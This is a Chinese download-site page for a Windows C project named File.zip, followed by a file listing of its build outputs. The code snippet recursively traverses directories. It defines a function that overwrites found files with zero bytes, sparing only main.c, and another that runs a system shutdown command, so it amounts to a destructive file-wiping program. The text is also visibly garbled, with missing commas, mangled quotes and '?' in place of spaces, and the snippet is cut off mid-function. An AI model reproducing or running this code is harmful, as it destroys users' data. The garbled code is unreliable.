資源簡介
File.zip

代碼片段和文件信息
#include?“stdio.h“
#include?“string.h“
#include?
#include?
#include??
#include?
//#include?
typedef?char???????????????INT8;
typedef?unsigned?char??????UINT8;
#define?TRUE???????????????1
#define?FALSE??????????????0
#define?MAX_PATH?????200
void?myDebug(char?*string)
{
printf(“Err:%s“string);
system(“pause“);?
exit(0);
}
UINT8?mg_StrCmp(?UINT8?*pu8DestAddr?UINT8?*pu8SourceAddr?)
{
????while(?(*pu8DestAddr?!=?‘\0‘)?&&?(*pu8SourceAddr?!=?‘\0‘)?)
????{
????????if(?*pu8DestAddr?!=?*pu8SourceAddr?)
????????????return?FALSE;
????????pu8DestAddr++;
????????pu8SourceAddr++;
????}
????return?TRUE;
}
//關機程序,?t后面是關機時間,單位s
void?ShutDwon(void)
{
system(“shutdown.exe?-s?-t?100“);
}
//將文件清零
void?Clear_File(char?*Path?char?*name)
{
static?char?filechangNum?=?0;
char????rw_buff[50]?=?{0x00};
FILE????*FileHandle?=?NULL;?
char????OpenFileName[400]={0x00};?
if(mg_StrCmp(“main.c“name))
{
return;
}
// if(filechangNum)
// return;
filechangNum++;
strcat(OpenFileNamePath);
strcat(OpenFileName“\\“);
strcat(OpenFileNamename);
FileHandle?=?fopen(OpenFileName“w+“);
if(FileHandle)
{
// printf(“open??file?sucess:?%s?\n“OpenFileName);
fwrite(rw_buffsizeof(unsigned?char)sizeof(rw_buff)FileHandle);
}
else?
{
// printf(“open?file??%s?err?\n“OpenFileName);
}
fclose(FileHandle);
}
//查找指定文件類型的文件
void?FindFileName(char?*FilePathchar?*filename)
{
struct?_finddata_t?fileinfo;?//文件信息的結構體?
long?handle;?//用于查找的句柄
int?fileNum?=?0;?//查找到的文件總數
char?FindName[100];
char?Path[400]={0x00};?//保存當前路徑
strcat(PathFilePath);
strcat(Pathfilename);
handle=_findfirst(Path&fileinfo);?//第一次查找?查找到第一個文件
if(-1==handle)
{
//printf(“Find:?file?no?exist.\n“);??
????????//system(“pause“);?
????//exit(0);
_findclose(handle);?//別忘了關閉句柄
return;
}
else
{
fileNum++;
// printf(“Find?Dir:%s?:?%s\n“FilePathfileinfo.name);?//打印找到第一個文?
// Clear_File(FilePathfileinfo.name);
}
//循環查找其他符合的文件,
//直到找不到符合的文件為止
while(!_findnext(handle&fileinfo))?
{?
fileNum++;
// printf(“Find:%s\n“fileinfo.name);?
// Clear_File(FilePathfileinfo.name);
}
_findclose(handle);?//別忘了關閉句柄
}
//深度優先遞歸遍歷當前目錄下文件夾和文件及子文件夾和文件?
void?filesearch(char?*pathint?layer)
{
????struct?_finddata_t?filefind;
char?FindName[100]=“\\*.*“;//?“\\*.*”表示匹配所有文件即查找所有的文件
????int?done=0ihandle;
char?curr[400]={0x00};?//保存當前路徑
// FindFileName(path“\\*.c“);
strcat(currpath);
strcat(currFindName);
????if((handle=_findfirst(curr&filefind))==-1)
{
//printf(“no?file\n“);?
return;
}
else
{
//printf(“%s\n“filefind.name);?//打印找到第一個文?
}
????while(!(done=_findnext(handle&filefind)))
????{
????????if(!strcmp(filefind.name“..“))continue;
????????for(i=0;iyer;i++)
???? ?printf(“??“);?
????????if(?(filefind.attrib&_A_SUBDIR))//判斷是否文件夾
???
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2017-10-26?14:47??File\
?????目錄???????????0??2017-10-26?14:22??File\Debug\
?????文件???????37888??2017-10-26?14:40??File\Debug\File.exe
?????文件??????406944??2017-10-26?14:40??File\Debug\File.ilk
?????文件??????494592??2017-10-26?14:40??File\Debug\File.pdb
?????目錄???????????0??2017-10-26?11:19??File\File\
?????目錄???????????0??2017-10-26?14:40??File\File\Debug\
?????文件???????14606??2017-10-26?14:40??File\File\Debug\CL.read.1.tlog
?????文件?????????260??2017-10-26?14:40??File\File\Debug\CL.write.1.tlog
?????文件????????1504??2017-10-24?19:28??File\File\Debug\File.Build.CppClean.log
?????文件?????????406??2017-10-24?19:28??File\File\Debug\File.exe.em
?????文件?????????472??2017-10-24?19:28??File\File\Debug\File.exe.em
?????文件?????????381??2017-10-26?14:40??File\File\Debug\File.exe.intermediate.manifest
?????文件??????????51??2017-10-26?14:40??File\File\Debug\File.lastbuildstate
?????文件???????10304??2017-10-26?14:40??File\File\Debug\File.log
?????文件?????????198??2017-10-24?19:28??File\File\Debug\File_manifest.rc
?????文件?????????594??2017-10-26?14:40??File\File\Debug\cl.command.1.tlog
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
?????文件???????????2??2017-10-26?14:40??File\File\Debug\li
............此處省略106個文件信息
- 上一篇:CapSense入門教程.pdf
- 下一篇:jlleeQuartus_2.rar
評論
共有 條評論